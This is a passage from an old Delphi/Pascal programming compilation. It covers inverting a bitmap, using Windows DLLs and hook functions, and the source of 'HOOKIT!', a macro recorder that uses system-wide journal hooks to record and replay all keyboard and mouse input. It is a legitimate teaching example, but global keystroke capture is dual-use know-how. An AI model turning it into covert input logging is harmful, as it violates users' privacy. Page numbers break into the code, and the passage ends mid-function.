· Now, put a TImage (Image1) and load in it a picture · Out a TButton (Button1) and put this code in its OnClick event:
procedure TForm1.Button1Click(Sender: TObject); procedure NegativeBitmap(OrigBmp, DestBmp: TBitmap); var i, j: integer; tmpbmp: TBitmap; OrigRow, DestRow: pRGBArray; begin { Creamos un bitmap temporal. Esto nos permite usar el mismo bitmap para entrada y salida Create a temporal bitmap. This allows to use the same bitmap as input or output } tmpbmp := TBitmap.Create; try
{ Asignamos al bitmap temporal las características del
original the
Assign the temporal bitmap the same characteristics as
694
the original } tmpbmp.Width := OrigBmp.Width; tmpbmp.Height := OrigBmp.Height; OrigBmp.PixelFormat := pf24bit; tmpbmp.PixelFormat := OrigBmp.PixelFormat; { Para cada fila / for each row } for i := 0 to tmpbmp.Height -1 do begin { Asignamos Scanline actual / assign current ScanLine } OrigRow := OrigBmp.ScanLine[i]; DestRow := tmpbmp.ScanLine[i]; { Para cada columna / for each column } for j := 0 to tmpbmp.Width - 1 do begin { Cambiamos los valores de rojo, verde y azul Change red, green, blue values } DestRow[j].rgbtRed := 255 - OrigRow[j].rgbtRed; DestRow[j].rgbtGreen := 255 - OrigRow[j].rgbtGreen; DestRow[j].rgbtBlue := 255 - OrigRow[j].rgbtBlue; end; end; { Asignamos el bitmap en negativo al bitmap de destino Assign the negative bitmap to the destination bitmap } DestBmp.Assign(tmpbmp); finally { Destruimos bitmap temporal / Destroy temp bitmap } tmpbmp.Free; end; end; begin NegativeBitmap(Image1.Picture.Bitmap, Image1.Picture.Bitmap); end;
Sent by Nacho Urenda:
This is a improve of the code:
{
DestRow[j].rgbtRed := DestRow[j].rgbtRed xor OrigRow[j].rgbtRed;
695
DestRow[j].rgbtRed := not OrigRow[j].rgbtRed; DestRow[j].rgbtGreen := not OrigRow[j].rgbtGreen; DestRow[j].rgbtBlue := not OrigRow[j].rgbtBlue;
Sent by Nacho Urenda: The most effective method it's to use the InvertRect function of the Window's API:
procedure InvertBitmap(Bmp: TBitmap); begin InvertRect(Bmp.Canvas.Handle, Bmp.Canvas.ClipRect); end;
696
697
Windows users to brighten their desktops with. Some of the other advantages of placing code and resources in a dynamic link library are: ·
Disk space is saved if multiple applications use a dynamic link library. This can sometimes make a drastic difference in the cost of deploying your applications since you can place common functions and resources in a single .DLL file, reducing the size of your executables.
·
The ability to upgrade and replace parts of the program without shipping a whole new executable.
·
The ability to load and execute different resources and code based on some specific criteria available only at runtime. A good example would be "PlugIn" applets that can be dynamically loaded by your application at runtime, without knowing what "PlugIns" might be available at compile time. This can make your program automatically extendible with after-market products.
Loading a dynamic link library Your compiler most likely includes interface files to most of the Windows system functions. You simply link to the interface files, and any dynamic link libraries that are used by your program are automatically loaded when your program is started. In 16 Bit Windows, the actual function code is not added to your program, but rather a pointer to the module name of the dynamic link library and the name of the function (or its exported index number) is added. In Win32, the DLL is mapped into the process' address space. The dynamic link library's file must exist at runtime or an error will occur. If your compiler does not include an interface to the function or dynamic link library you want to use, you are going to have to declare a function prototype, and a linking interface, to let your compiler know about the function you are dynamically linking to. The instructions to do this should be included with your compiler's documentation. A short example of a function prototype in Pascal for a dynamic link library would be: {$IFDEF Win32} function MessageBeep(BeepType: Integer):Bool stdcall; external 'USER32'; {$ELSE} procedure MessageBeep(BeepType: Integer); far; external 'USER'; {$ENDIF} This prototype tells the compiler to link to a function named "MessageBeep" located in USER32.DLL (if compiling under 32 bits), or a procedure named "MessageBeep" located in USER.EXE (if compiling under 16 bits). The compiler is also made aware that "MessageBeep" takes a integer size parameter, and uses the "stdcall" passing convention (if compiling under 32 bits). When declaring an interface to a dynamic link library, you must be careful to specify the way that the function expects to have its parameters and return value passed, and who will maintain the stack. There are various calling techniques used including: PASCAL, CDECL, STDCALL, and FASTCALL. In 16 bit Windows, most functions are exported using the PASCAL calling convention. In 32 bit Windows, STDCALL is preferred since this should be compatible w/most other languages. Most API functions are declared with "C" prototypes. If you are wanting to port an interface to a Pascal based language, and you are not familiar with "C", your best bet is to get Alain Tadros's technical paper "Using Borland's Delphi and C++ Together". It is available from Compuserve, and the Borland BBS system and has some excellent additions by Eric Uber. Dynamic loading at runtime Loading a dynamic link library at runtime allows you to load dynamic link libraries that are not known at compile time, or load a library for only a short time. Printer drivers are a good example: You don't know what printer drivers will be available on a users system until runtime, and you would only want to load a printer
698
driver during the printing phase of your program. One of the advantages to loading libraries dynamically is that you don't use up resources (memory) until you actually load the library and the function you wish to call. You load a dynamic link library at runtime by calling the Windows API function LoadLibrary(). Then you can search for a given function within the library using the Windows API function GetProcAddress(). Once you have the address of the function you want, you can call it from your code. One thing to remember: Always call the Windows API function FreeLibrary() when you are done using the dynamic link library. Example: procedure Win31LoadUserAndCallBeepFn; var DllHandle: THandle; BeepFn: procedure(BeepType: Integer); begin DllHandle := LoadLibrary('USER'); if DllHandle >= 32 then begin @BeepFn := GetProcAddress(DllHandle, 'MessageBeep'); if @BeepFn <> nil then BeepFn(-1); FreeLibrary(DllHandle); end; end;
procedure Win32LoadUserAndCallBeepFn; var DllHandle: THandle; BeepFn: function(BeepType: Integer): Bool stdcall; begin DllHandle := LoadLibrary('USER32'); if DllHandle <> 0 then begin @BeepFn := GetProcAddress(DllHandle, 'MessageBeep'); if @BeepFn <> nil then BeepFn($FFFFFFFF); FreeLibrary(DllHandle); end; end; Here we have two code snippets showing the differences between loading a library under 16 and 32 bit Windows. In this case, we must mark the function we are calling as using the "stdcall" calling convention under 32 bit Windows, where under 16 bit windows the "pascal" calling convention is assumed. Note that the 16 bit version of MessageBeep() is a procedure, and the 32 bit version is a function. The LoadLibrary() function takes a null-terminated string that names the library file to be loaded. If the string does not contain a path, Windows searches for the library in this order: the current directory; the Windows directory; the Windows system directory; the directory containing the executable file for the current task; the directories listed in the PATH environment variable; and finally, the list of directories mapped in a network. If no extension is used, the extension of ".DLL" is assumed. We check the value of the handle returned by LoadLibrary() for an error. Under 16 bit Windows, the return value will be less than 32 if an error occurs, and under 32 bit Windows, the return value will be 0 if an error occurs. We then call the GetProcAddress() function to get the address of the MessageBeep() function. The spelling of the function name is critical, and can be case sensitive under different environments. If GetProcAddress() successfully returns the address of the function, then we can safely call the function. Finally we unload the library to free up memory. Resource only dynamic link libraries As mentioned, dynamic link libraries can hold resources as well. To use resources contained in a dynamic link library, you simply make a call to LoadLibrary(), then you can load resources from the library using one of the Windows API resource functions such as LoadBitmap(), passing the handle to the dynamic link library that you received from the LoadLibrary() call. Just don't forget to free your resources and the library when you are done.
699
You can use the snipit from the above section "Loading dynamic link libraries at runtime" to load a dynamic link library, and then load a resource from the library. Example: LoadBitmap(DllHandle,'SOMEBMP'); Stack usage and dynamic link libraries When you call a function in a dynamic link library, the library generally uses the stack of the calling application. Applications running under 16 Bit Windows had much less stack space available (<64k) than what is available under 32 bit Windows (1 MB). Since functions in a dynamic link library can call functions in other dynamic link libraries as well as making callbacks, you should always thoroughly test your program to make sure you have setup adequate stack space. Callback functions Callback functions are a really wonderful feature of the Windows environment. Callback functions allow you to send the "instanced" address of a function in your application to a function contained in a dynamic link library. The dynamic link library function can then call back to the function in your application to pass back information. A good example of a Windows API function that utilizes callbacks is the EnumFonts() function. The EnumFonts() function enumerates fonts available to a given device context. For each font enumerated, the EnumFonts() function will call back to a function in your application, passing back information about that font. This process continues as long as their are more fonts to enumerate, or until your function returns zero, meaning that you wish to stop further enumerations. Most Windows API functions that accept a callback function as a parameter will also accept an lpData parameter. This lpData parameter is used for "application defined data". You are free to define what this parameter is used for. The lpData parameter is usually passed to the dynamic link library as a longint, and rarely as a far pointer. It is likely you will want to send something besides a longint. You can always typecast a pointer to a data structure in your application to a longint when calling dynamically linked functions, and typecast the longint passed back to your callback function to a pointer so your may access your data structure. As mentioned, when your callback function is called by the Windows API function, the lpData parameter you originally passed to the Windows API function will be passed back to your callback function for your use. This avoids having to declare a global variable in your program. A good example of how this works would be if you were to create a program containing a dialog box to show all the available fonts in a drop-down listbox. When you process the WM_INITDIALOG message, you call the EnumFonts() function, passing the instanced address of your callback function that will process the font information. Your callback function will perform the work to add each font's name to the listbox. The only problem: your callback function does not have a handle to the listbox. You could create a global variable to hold the listbox handle, but instead, you should pass the handle of the listbox to your callback function through the lpData parameter, and let the dynamically linked function pass the handle of the listbox back to your callback function. While it is always nice to keep global variables to a minimum, having the ability to pass user defined data to the callback function becomes critically important when you create callback functions inside a 16-bit dynamic link library. Generally, under 16-bit Windows, a dynamic link library has only one data segment. Since multiple applications can use a single dynamic link library, and, since a 16-bit dynamic Link Library has a single data segment, any global variables defined in the dynamic link library exist in memory only once. If you create a callback function in a dynamic link library, and use a global variable to store data used during the callback, you run the risk of data corruption. Consider the following scenario: You have written several applications that use your font dialog box. Rather than include your font dialog in each application, you opt to store the dialog in a dynamic link library. Suppose that you use a global variable in the dynamic link library to store the listbox handle for your callback function. Now suppose that more than one application loads the dialog box at the same time. Each "copy" of your font dialog box contains a different handle to it's listbox. Clearly, using a global variable to hold the listbox handle will not work since the listbox handle will be different for each dialog, and the global variable used to hold this handle will get trashed. The way around this, is to pass the listbox handle to the EnumFonts() function using the lpData parameter. This is not a problem, when writing 32-bit dynamic link libraries for use under Windows 95 and Windows NT, as under both environments, dynamic link libraries have a separate data area for each application that loads
700
them. None the less, it is still a good practice to always keep global variables to a minimum. The Hook functions A "hook" function is a callback function that can be inserted in the Windows message system so an application can access the message stream before other processing of the message takes place. Often times, there will be other hooks already installed in the messaging system, so there will be times you will need to call the next hook in the "Hook Chain" to allow the other hooks in the chain to access the messages as well. When you install a hook function using the Windows API function SetWindowsHookEx(), you will receive a 32 bit handle to your installed hook function. You will use this handle to both remove the hook when you are done via the Windows API function UnHookWindowsHookEx(), and when calling the next hook in the "Hook Chain" via the Windows API function CallNextHookEx(). We have chosen to use the Windows "Ex" hook functions since we want to be able to port to 32 bit Windows. System wide hooks require that your hook filter function reside in a dynamic link library. The filter function for an application specific hook may reside either in the application or a dynamic link library. Different types of Windows Hooks: Windows defines the following types of hook functions: ·
WH_CALLWNDPROC- A window procedure hook called whenever the SendMessage() function is called.
·
WH_CBT- A computer based training hook called before activating, creating, destroying, minimizing, maximizing, moving, or sizing a window; before completing a system command; before removing a mouse or keyboard event; before setting input focus; and before synchronizing the system message queue.
·
WH_DEBUG-A debugging hook called before any other filter installed by the SetWindowsHookEx() function is called.
·
WH_GETMESSAGE- A message hook called whenever the GetMessage() function has retrieved a message from an application queue.
·
WH_HARDWARE- A nonstandard hardware message hook called whenever the application calls the GetMessage() or PeekMessage() function and there is a hardware event (other than a mouse or keyboard event) to process.
·
WH_JOURNALRECORD- A journaling record hook called when the system removes messages from the system message queue.
·
WH_JOURNALPLAYBACK- A journaling playback hook used to insert mouse and keyboard messages into the system message queue.
·
WH_KEYBOARD- A keyboard hook called whenever the application calls the GetMessage() or PeekMessage() function and there is a WM_KEYUP or WM_KEYDOWN keyboard message to process.
·
WH_MOUSE- A mouse message hook called whenever the application calls the GetMessage() or PeekMessage() function and there is a mouse message to process.
·
WH_MSGFILTER- An application message hook called after a dialog box, message box, or menu has retrieved a message, but before the message is processed.
·
WH_SHELL- A shell application hook called when notification messages from the system have been made.
·
WH_SYSMSGFILTER- A system wide message hook called after a dialog box, message box, or menu has retrieved a message, but before the message is processed.
Note: Debugging Windows hooks can be very difficult. The documentation has much to be desired, so before you make the jump, always consult the Microsoft Knowledge Base for any additional information regarding the hook you are designing for. If your hook hangs the system, pressing CTRL+ESC or
701
CTRL+AlT+DEL should unhook any system wide hooks that are in effect. Data storage in dynamic link libraries Under 16 bit Windows, a dynamic link library is only loaded once no matter how many applications request the library to be loaded, generally contains a single data segment, and all global variables in the dynamic link library exist across all applications that load the dynamic link library. If any process causes corruption in the data segment of the dynamic link library, other applications using the dynamic link library can be affected. Many argue that sharing data between applications through a 16 bit dynamic link library is considered a very bad practice. Under Windows 95, the code for a dynamic link library is only loaded once no matter how many applications request the library to be loaded, and the link to a running application gets its own data storage area. This provides some additional crash protection to other applications, since any corrupted global variables in a dynamic link library caused by one application will not adversely affect other applications using that dynamic link library. Under Windows NT, a separate copy of both the dynamic link library's data and code is linked to the calling application. If we think about how the DLL is loaded, we can still realize a memory saving when we talk about physical memory usage. Each process does indeed gets its own copy of the DLL and the DLL data. However, it obtains this through a memory mapping of the DLL. That is, the DLL code is mapped to each processes address space. In physical memory (as seen by the system) the DLL is loaded only once. Instanced addresses and thunking As already mentioned, 16-bit dynamic link libraries have only one data segment. When you call a function in a dynamic link library, the data segment must be switched from your application's data segment to that of the dynamic link library's data segment, and back again after the function returns. If the dynamically linked function happens to make a callback to a function in your application, the data segment must be switched back to your application's data segment during the callback, and back again to the dynamic link library's data segment when your function returns. When making a call to a dynamically linked function, the fixup code to switch the data segment is transparent. In the case of a callback, additional magic is needed by your application. The magic is made possible by using the Windows API function MakeProcInstance() to receive an "instance thunk" to your callback procedure. This "instance thunk" is the glue that holds your callback function and your data segment together during the callback. The procedure address passed to the MakeProcInstance() function needs to be marked with both the "far" and "exported" attributes. After the dynamic link library is through using your callback function, and returns, you should always call the Windows API FreeProcInstance() function to free the instance thunk. Using the MakeProcInstance() function is not necessary in 32 bit applications, or any dynamic link library (16 or 32 bit). It is, however, safe to use under these conditions, so any code you have that uses these functions can be safely ported to dynamic link libraries and 32 bit versions of Windows.
The Windows API: An Example Of Use - by Abstract:This paper is targeted to developers who wish an example of interfacing to the Windows Application Programming Interface (API).
The Windows API: An Example Of Use, Part 2 By Joe C. Hecht, Borland Delphi Technical Support Group HOOKIT! - The example The Journal Hooks: JournalRecord and JournalPlayback How HOOKIT! works HOOKIT! application logic HOOKLIB dynamic link library logic Got-Ya's! Source code for HOOKLIB.DLL Resource statements to build HOOKIT16.RES and HOOKIT32.RES 702
Source code for HOOKIT.EXE Part III: Conclusion The example: We will now present an example of using Windows API functions by creating an application that serves the useful function of hooking into the Windows messaging system, and recording any keyboard and mouse input to be used for later playback. We will call our macro recording application "Hookit!". Our "Hookit!" application is a great starting place for a full featured Windows macro recorder, reminiscent of the early days of DOS and my favorite "Sidekick's Sidekick", Borland's highly successful TSR program "SuperKey"! It's worth noting that unlike 16 bit Windows, neither Windows 95 or Windows NT shipped with a macro recording feature. Since "Hookit!" will use system wide Windows hook functions for JournalRecord and JournalPlayback, we will also create a Windows dynamic link library along the way! Both the application and the dynamic link library will perform callbacks. Pascal was originally designed to be a teaching language, thus the code example presented was written in Pascal, and can easily be ported to other languages such as "C". Note that the code cannot be ported to Visual Basic, since, as of this writing, Visual Basic does not support creating dynamic link libraries or callback functions. The code presented may also be directly ported between 16 and 32 bit compilers, and will successfully compile with Borland's Turbo Pascal for Windows 1.5, Borland Pascal for Windows 7.0 / 7.01, Delphi 1.0 / 1.02, and Delphi 2.0. To make it easy to port to other languages, no Pascal or Delphi specific features are used. The code also serves as a model for creating a "traditional" Windows program in Delphi, and utilizing a dialog box template for the main window of a program. Although "Hookit!" uses features designed to run on Windows 3.1 or above, the example code can be adapted to run on earlier versions of Windows (2.x and 3.0). The Journal Hooks: JournalRecord and JournalPlayback The Journal hook functions provide a easy way to record keyboard and mouse events on a system-wide basis, and play the events back at some later date. You can install a JournalRecord or JournalPlayback hook callback function by calling the Windows API function SetWindowsHookEx(), and passing the address of your hook callback function. An instanced address is not needed, as both the JournalRecord and JournalPlayback callback functions are system wide hooks, and must reside in a dynamic link library. Calling SetWindowHookEx() will return a 32 bit handle to your hook callback function for you to identify yourself to other hook functions already in the "Hook Chain", and to remove your hook from the chain when you are done recording. When you call SetWindowsHookEx() with the address of your JournalRecord callback function, Windows will return immediately, and the recording begins. Your JournalRecord callback function will get called with a code indicating the following conditions: ·
There is a keyboard or mouse event to record.
·
The system is entering a modal state.
·
The system leaving a modal state.
·
The system wants you to call the next hook in the hook chain.
If there is a keyboard or mouse event, the code will equal "HC_ACTION", and you are free 703
to record the event. A pointer to an EVENTMSG is passed to you in the lParam parameter of your JournalRecord callback function. The system time that the event was originally fired is contained in time parameter of the EVENTMSG structure. For playback purposes, you will need to make a copy of the EVENTMSG and change the time in the copy to reflect the net time into the recording, since you will need to synchronize the playback of the message to the system time at playback. This is done by getting the system time when you start the recording, and subtracting it from the message time. If the system enters a modal state, the code will equal "HC_SYSMODALON", indicating something bad has happened to the system, and you should temporarily stop recording, and call the next message hook in the "Hook Chain", so hooks further down the chain will know what is going on. When the system returns from a modal state, the code will equal "HC_SYSMODALOFF", and you may resume recording. Finally, if the code is less than zero, the system is asking you to call the next hook in the chain, and you should do so without further processing. When you are through recording, you can simply call the Windows API function UnHookWindowsHookEx() passing back the 32 bit handle given to you when you originally called the SetWindowsHookEx() function, and Windows will remove your hook callback function from the "Hook Chain". When you are ready to playback your recording, you will call SetWindowsHookEx() again, passing the address of your JournalPlayback callback function. Windows will return immediately, and the playback begins. During playback, normal mouse and keyboard input is automatically disabled by the system. Your JournalPlayback callback function will get called with a code indicating one the following conditions: ·
HC_SKIP- You should retrieve the next message. If there are no more messages to play, then you may safely call the Windows API function UnHookWindowsHookEx(), passing the handle to your hook function to end the playback.
·
HC_GETNEXT- You should play the current message.
·
HC_SYSMODALON- The system is entering a modal state. This indicates something bad has happened. You should call the next hook in the hook chain, so other hooks will know something is up.
·
HC_SYSMODALOFF- The system leaving a modal state, and Windows has unhooked your JournalPlayback callback procedure right out from under you. You are done. As your last act, you should call the next hook in the hook chain, so other hooks will know they are hosed as well.
·
Code < 0- The system wants you to call the next hook in the hook chain without further processing.
You should go ahead and retrieve the first message before you call the SetWindowsHookEx() function, since the system will ask you to play the first message before requesting the next message. You will also need to get the system time, since you will need to "fix up" the playback time of each of your recorded messages to synchronize with the system time at playback. Windows may ask you to play the same message more than once. The first time Windows asks you to play the current message, your JournalPlayback callback function should return the difference between the current time and the time the message is scheduled to play. If the difference between the current time and the time the message is scheduled to 704
play is negative, your JournalPlayback callback function should return zero. The JournalPlayback callback function must also return zero if the same message is requested to be played more than once. How HOOKIT! works Our application (HOOKIT.EXE) will contain four buttons: ·
Start Recording
·
Stop Recording
·
Playback
·
Done
and one callback function: ·
PlaybackFinished()
Our dynamic link library (HOOKLIB.DLL) will contain three functions that our calling application will use: ·
StartRecording()
·
StopRecording()
·
Playback()
and two hook functions that Windows will use: ·
JournalRecordProc()
·
JournalPlaybackProc()
HOOKIT! application logic: ·
Allow the program to start only if the version of Windows is equal or greater than Window's 3.1.
·
We will need to supply a callback function to be called whenever a macro's playback has finished, since the Playback() function will return immediately, and our application will continue to execute during playback. We will need to call MakeProcInstance() to get the instanced address of our callback function PlaybackFinished() to pass to the Playback() function. Since we cannot call FreeProcInstance() in the middle of the callback, we must declare a global variable to hold the instanced address of PlaybackFinished() on program startup, and free it on exit from the program.
·
Create a main window from a Dialog Box template.
·
Upon creation of our main window, we will enable the "Start Recording" and "Done" button. We will disable the "Stop Recording" and "Playback" button, since we have no recording to stop or playback.
·
When the "Done" button is selected we will free the instanced address of our callback function PlaybackFinished() and exit the program.
·
When the "Start Recording" button is selected, we will disable the "Start Recording" 705
and "Done" button, since we don't want to allow more than one recording at a time, and we don't want to allow the user to quit in the middle of recording. We will enable the "Stop Recording" button and call our StartRecording() function. If the StartRecoding() function returns an error, we will announce the error to the user, and reset the buttons to their default state before the "Start Recording" button was pressed. ·
When the "End Recoding" button is pressed, We will call the StopRecording() function passing it the filename to store the macro in. Then we will enable both the "Done" and "StartRecording" buttons, since we can now allow the user to quit, and we want the user to have the option to record or rerecord the session. We will enable "Playback" button only if anything has successfully been recorded.
·
When the "Playback" button is selected, we will disable all of our buttons, and call the Playback() function, passing it the filename of the macro to play, the instanced address of our callback function PlaybackFinished(), and a handle to our main window to be passed back to us as application defined data. When the macro playback is done, our hook function will callback to our program's PlaybackFinished() function, letting us know it has finished, and passing us back the handle to our main window as application data. We must do this since the Playback() function will return immediately, causing our program to continue to run during the macro's playback. This will allow us to know when it safe to enable our program's buttons again. If the Playback() function returns an error, we will reset the buttons to their default state before the "Playback" button was pressed.
·
When our callback function PlaybackFininshed() is called, we can enable the "Start Recording", "Playback" and "Done" buttons.
HOOKLIB dynamic link library logic: ·
If an error occurs during the call to StartRecord(), or, we are already recording or playing, we will return zero without further processing.
·
During the recording process, we will save keyboard and mouse events to an array. For the sake of simplicity, we will limit the number of recorded events to what will fit in a 64k memory block.
·
When StopRecording() is called, if any events have been recorded, we will write the recorded events to the disk for later playback. We will then unhook our JournalRecordProc() from the hook chain. We will return an error code of -1 if nothing is currently recording or -2 if there was trouble unhooking from the "Hook Chain". Otherwise we will return the number of messages recorded.
·
When the Playback() function is called, we will start the playback. If an error occurs or their is nothing to playback, we will return zero without further processing.
·
When the playback is finished, we will callback to the application announcing we are done playing back the macro.
·
Since the SetWindowsHookEx() function does not allow us an appdata parameter for application defined data, we must declare several global variables for our hook callback functions, and avoid letting more than one application invoke either the StartRecord() and Playback() functions at any given time under Windows 3.1.
·
We will define a global pointer called "PMsgBuff "that will point to an array of EventMsg structures to record to and playback from. Upon library startup, we will 706
initialize this pointer to nil. Only when we are recording or playing a macro will this pointer actually point to a memory block, otherwise it will be nil. This will give us a way to determine whether or not we are in the process of recording or playing a macro. ·
We will also need to define global variables for: o
"TheHook"- A 32 bit handle to our hook proc.
o
"StartTime"- The starting time of the recording or playback.
o
"MsgCount"- The total number of messages recorded.
o
"CurrentMsg"- The current message playing.
o
"ReportDelayTime"- If we should report a delay time.
o
"SysModalOn"- If the system is currently in a "modal" state.
o
"cbPlaybackFinishedProc"- The instanced address of the application's PlaybackFinished() callback function.
o
"cbAppData"- The user defined application data parameter passed to our Playback() function.
Got-Ya's! ·
JournalRecordProc() is incorrectly documented as receiving a MSG structure. JournalRecordProc() actually receives the same EVENTMSG structure that is documented by JournalPlaybackProc().
·
The JournalRecordProc() and JournalPlaybackProc() hook procedures do not provide a user defined lpData parameter, so you must use global variables in your dynamic link library.
·
Mouse events recorded with JournalRecord may not play back correctly if the display resolution has changed, or a window's position has changed.
·
Keyboard events recorded with JournalRecord on a Windows system other than Windows NT will not play back correctly under Windows NT. Under Windows 3.1, the keyboard repeat count is stored in the ParamH parameter of the EVENTMSG structure. Under Windows NT, this parameter is always 1. The size of the EVENTMSG structure also changes under Win32.
·
Your JournalPlaybackProc may be called many times with the HC_GETNEXT message. The system expects you to continue providing the same event to play until you receive a HC_SKIP message.
·
Be sure to return a non-zero delay time only once for each unique event you process in your JournalPlaybackProc, else Windows NT may hang due to timing differences. If your JournalPlaybackProc() gets called with a code of HC_GETNEXT more than once for the same event, return zero from your JournalPlaybackProc.
·
Interactive debugging of a journal hook cannot be done on a single machine. A Windows NT or Win32 application has an advantage that the system will send a WM_CANCELJOURNAL message to all applications when the system pulls the 707
hook out from under the application when the user presses CTRL+ESC or CTRL+ALT+DEL. "HOOKIT!" handles this event gracefully. ·
The SetWindowsHookEx() function will return immediately. This can be a problem if your program needs to know when the playback has finished.
·
Since you will most likely use the Windows API function GetTickCount() for calculating messaging times, you always run the risk that the system time will wrap if windows has not been restarted in the last 49 days. If you account for the fact that not all compilers support unsigned 32 bit integers, the system time will appear to go negative sometime into the 24th day.
·
The "handle" passed back from SetWindowsHookEx() is 32 bits wide, even in 16 bit environments.
·
You may need to set your compiler's link buffer to compile to disk when building dynamic link libraries. If the file image is only created in memory, it will not be available to the program that uses it.
·
JournalRecordProc() does not get along well with the new Windows 95 "StartKey" contained on some new keyboards.
Source code for HOOKLIB.DLL Note: Save the source as HOOKLIB.PAS for Pascal or HOOKLIB.DPR for Delphi. {$C FIXED PRELOAD PERMANENT} library HOOKLIB; {$IFDEF Win32} uses Windows; type TwMsg = Longint; TwParam = Longint; TlParam = Longint; {$ELSE} uses {$IFDEF VER15} WinTypes, WinProcs, Win31; {$ELSE} {$IFDEF VER70} WinTypes, WinProcs, Win31; {$ELSE} WinTypes, WinProcs; {$ENDIF} {$ENDIF} type TwMsg = Word; TwParam = Word; TlParam = Longint; {$ENDIF} const MAXMSG = 6500;
708
type PEventMsg = ^TEventMsg; TMsgBuff = Array[0..MAXMSG] of TEventMsg; TcbPlaybackFinishedProc = Procedure(AppData: Longint) {$IFDEF Win32} stdcall; {$ELSE} ; {$ENDIF} var PMsgBuff: ^TMsgBuff; TheHook: HHook; StartTime: Longint; MsgCount: Longint; CurrentMsg: Longint; ReportDelayTime: Bool; SysModalOn: Bool; cbPlaybackFinishedProc: TcbPlaybackFinishedProc; cbAppData: Longint; { *********************************************************************** } { function JournalRecordProc(Code: Integer; } { wParam: TwParam; } { lParam: TlParam): Longint; } { Parameters: action to perform and message data. } { Returns: zero unless code < 0, in which case return the result } { from CallNextHookEx(). } { *********************************************************************** } function JournalRecordProc(Code: Integer; wParam: TwParam; lParam: TlParam): Longint {$IFDEF Win32} stdcall; {$ELSE} ; export; {$ENDIF} begin JournalRecordProc := 0; case Code of HC_ACTION: begin if SysModalOn then exit; if MsgCount > MAXMSG then exit; {record the message} PMsgBuff^[MsgCount] := PEventMsg(lParam)^; {set the delta time of the message} Dec(PMsgBuff^[MsgCount].Time,StartTime); Inc(MsgCount); exit; end; HC_SYSMODALON: begin SysModalOn := True;
709
CallNextHookEx(TheHook, Code, wParam, lParam); exit; end; HC_SYSMODALOFF: begin SysModalOn := False; CallNextHookEx(TheHook, Code, wParam, lParam); exit; end; end; if code < 0 then JournalRecordProc := CallNextHookEx(TheHook, Code, wParam, lParam); end; { *********************************************************************** } { function StartRecording: Integer; } { Parameters: none. } { Returns: non zero if successful. } { *********************************************************************** } function StartRecording: Integer {$IFDEF Win32} stdcall; {$ELSE} ; export; {$ENDIF} begin StartRecording := 0; if pMsgBuff <> nil then exit; GetMem(PMsgBuff, Sizeof(TMsgBuff)); if PMsgBuff = nil then exit; SysModalOn := False; MsgCount := 0; StartTime := GetTickCount; TheHook := SetWindowsHookEx(WH_JOURNALRECORD, JournalRecordProc, hInstance, 0); if TheHook <> 0 then begin StartRecording := 1; exit; end else begin FreeMem(PMsgBuff, Sizeof(TMsgBuff)); PMsgBuff := nil; end; end; { *********************************************************************** }
710
{ function StopRecording(lpFileName: PChar): Integer; } { Parameters: pointer to filename to save to. { Returns: number of records written. { -1 if not recording. {
} } }
-2 unable to unhook.
} { *********************************************************************** } function StopRecording(lpFileName: PChar): Longint {$IFDEF Win32} stdcall; {$ELSE} ; export; {$ENDIF} var TheFile: File; begin if PMsgBuff = nil then begin StopRecording := -1; exit; end; if UnHookWindowsHookEx(TheHook) = False then begin StopRecording := -2; exit; end; TheHook := 0; if MsgCount > 0 then begin Assign(TheFile, lpFileName); {$I-} Rewrite(TheFile, Sizeof(TEventMsg)); {$I+} if IOResult <> 0 then begin FreeMem(PMsgBuff, Sizeof(TMsgBuff)); PMsgBuff := nil; StopRecording := 0; exit; end; {$I-} Blockwrite(TheFile, PMsgBuff^, MsgCount); {$I+} if IOResult <> 0 then begin FreeMem(PMsgBuff, Sizeof(TMsgBuff)); PMsgBuff := nil; StopRecording := 0; {$I-} Close(TheFile); {$I+} if IOResult <> 0 then exit; exit; end; {$I-} Close(TheFile); {$I+} if IOResult <> 0 then begin FreeMem(PMsgBuff, Sizeof(TMsgBuff)); PMsgBuff := nil; StopRecording := 0;
711
exit; end; end; FreeMem(PMsgBuff, Sizeof(TMsgBuff)); PMsgBuff := nil; StopRecording := MsgCount; end; { *********************************************************************** } { function JournalPlaybackProc(Code: Integer; } { wParam: TwParam; } { lParam: TlParam): Longint; } { Parameters: action to perform and message data. } { Returns: if Code < 0, returns the result from CallNextHookEx(), } { otherwise returns the requested time to wait to fire } { the next event or zero. } { *********************************************************************** } function JournalPlaybackProc(Code: Integer; wParam: TwParam; lParam: TlParam): Longint {$IFDEF Win32} stdcall; {$ELSE} ; export; {$ENDIF} var TimeToFire: Longint; begin JournalPlaybackProc := 0; case Code of HC_SKIP: begin {get the next message} Inc(CurrentMsg); ReportDelayTime := True; {are we finished?} if CurrentMsg >= (MsgCount-1) then if TheHook <> 0 then if UnHookWindowsHookEx(TheHook) = True then begin TheHook := 0; FreeMem(PMsgBuff, Sizeof(TMsgBuff)); PMsgBuff := nil; {callback to the application announcing we are finished} cbPlaybackFinishedProc(cbAppData); end; exit; end; HC_GETNEXT: begin {play the current message} PEventMsg(lParam)^ :=
712
PMsgBuff^[CurrentMsg]; PEventMsg(lParam)^.Time := StartTime + PMsgBuff^[CurrentMsg].Time; {if first time this message has played - report the delay time} if ReportDelayTime then begin ReportDelayTime := False; TimeToFire := PEventMsg(lParam)^.Time - GetTickCount; if TimeToFire > 0 then JournalPlaybackProc := TimeToFire; end; exit; end; HC_SYSMODALON:begin {something is wrong} SysModalOn := True; CallNextHookEx(TheHook, Code, wParam, lParam); exit; end; HC_SYSMODALOFF:begin {we have been hosed by the system - our hook has been pulled!} SysModalOn := False; TheHook := 0; FreeMem(PMsgBuff, Sizeof(TMsgBuff)); PMsgBuff := nil; {callback to the application announcing we are finished} cbPlaybackFinishedProc(cbAppData); CallNextHookEx(TheHook, Code, wParam, lParam); exit; end; end; If code < 0 then JournalPlaybackProc := CallNextHookEx(TheHook, Code, wParam, end;
lParam);
{ *********************************************************************** } { function Playback(lpFileName: PChar; } { EndPlayProc: TcbPlaybackFinishedProc; } { AppData: Longint): Integer; } { Parameters: pointer to filename to play. } { application's EndPlay callback function. } { application's
713
defined data. { Returns: non zero if successful.
}
